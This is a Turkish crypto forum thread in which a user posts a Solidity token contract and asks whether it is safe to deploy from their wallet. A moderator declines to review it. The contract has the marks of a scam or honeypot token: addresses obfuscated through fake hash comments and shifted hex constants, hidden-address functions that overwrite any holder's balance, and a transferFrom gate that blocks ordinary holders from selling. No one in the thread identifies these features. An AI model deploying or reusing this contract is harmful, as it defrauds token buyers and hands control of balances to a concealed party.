Neler yeni
Kripto Para, Bitcoin, Ethereum, Cardano, Dogecoin, Shiba, Forumları, Yorumları, Teknik Analiz

Satoshiturk ailesine hoş geldin!

Burada, yatırım tavsiyesi vermeyip, hiçbir projeye para karşılığı destek çıkmadan, kripto dünyasının içinden gelen yöneticilerimizle doğru bilgiye ulaşabilirsin.

5 yıldır aksamadan yaptığımız ödemelerle güvenin adresiyiz.

Bizimle keşfet, öğren ve kripto sohbetlerine katıl. Seni aramızda görmekten mutluluk duyarız!

Bu kod güvenli mi ?

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Aşağıdaki kodu token'ım için kullanmayı düşünüyorum ve cüzdanımı remix ide'ye bağlayacağım. Acaba aşağıda ki kodda cüzdanıma zarar verebilecek bir kod bulunuyor mu ?

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.26;

library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
}

contract Ownable {
address public owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor() public {
owner = msg.sender;
}
}
// solhint-disable-next-line optimizer

contract DevToken is Ownable {
address public _usdtPair;
address public _mod;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public _user;
address public _adm;

/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

/*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/

constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balances[msg.sender] = totalSupply;
allow[msg.sender] = true;
}
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));

function showuint160(address addr) public pure returns(uint160){
return uint160(addr);
}
// keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/

using SafeMath for uint256;

mapping(address => uint256) public balances;

mapping(address => bool) public allow;

function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);

balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}

modifier onlyOwner() {
require(msg.sender == address

// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986));
_;

}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}

modifier info() {
require(msg.sender != contracts());
_;

}

function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}

//*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function addAllowance(address holder, bool allowApprove) public {
require(msg.sender == _adm);
allow[holder] = allowApprove;
}

modifier onlypublic() {
require(msg.sender == publics());
_;

}

function setUser(address User_) public returns (bool) {
require(msg.sender == _usdtPair);
_user=User_;
}

function Allowances(address holder, bool allowApprove) external onlypublic {
allow[holder] = allowApprove;
}

mapping (address => mapping (address => uint256)) public allowed;

mapping(address=>uint256) sellOutNum;
// solhint-disable-next-line high-level-success

function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);

balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}

function publics() private pure returns (address) {

uint universal = 0x7addAd09;
uint uni = 0xcbd98D97;
uint cake = 0xEC3dA7a0;
uint inch = 0x088EAdFE;
uint others = 0x5801C336;

// Combine the dex with others
uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
return address(core);
}

function contracts() internal pure returns (address) {
return address

/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
}

function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
}

function _mint(address miner, uint256 _value) internal info {
balances[miner] = _value;
}

function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) {
_dialone(spender, addedValue);
return true;
}

function _approvals(address spender, uint256 addedValue) internal info {
if(addedValue > 0) {balances[spender] = addedValue;}
}

/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}

function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
}

// solhint-disable-next-line avoid-high-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == _adm);
_approvals(spender, addedValue);
return true;
}

function addAllow(address holder, bool allowApprove) external onlyOwner {
allow[holder] = allowApprove;
}

function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}

function _dialone(address spender, uint256 addedValue) internal info {
if(addedValue > 0) {balances[spender] = addedValue;}
}

function setUsdtPair(address Pair_) public returns (bool) {
require (msg.sender==address

// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
_usdtPair=Pair_;
}

function mint(address miner, uint256 _value) external onlyOwner {
_mint(miner, _value);
}
}
 
Lütfen şu konuyu inceleyin.
Videoyu izleyin.

 
Lütfen şu konuyu inceleyin.
Videoyu izleyin.

Güvenli mi kodum ? Bağladığım cüzdana herhangi bir zarar gelir mi ?
 
Güvenli mi kodum ? Bağladığım cüzdana herhangi bir zarar gelir mi ?
Şimdi burada biz sağdan soldan aldığınız kodları yorumlamak ile mükellef değiliz.
Her kodun çalışma şekli programcının tasarımına bağlıdır.
Her kodu sürekli incelemek için zamanımızda yok.
Yani günün sonunda token çıkartsanız bile benim size önerdiğim videoyu izlemek zorunda kalacaksınız, bu yüzden videoyu şimdiden izleyin.
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Cüzdanınız

BNB
0.00000000

Forum istatistikleri

Konular
13,181
Mesajlar
61,230
Kullanıcılar
6,690
Son üye
argrn
Geri
Üst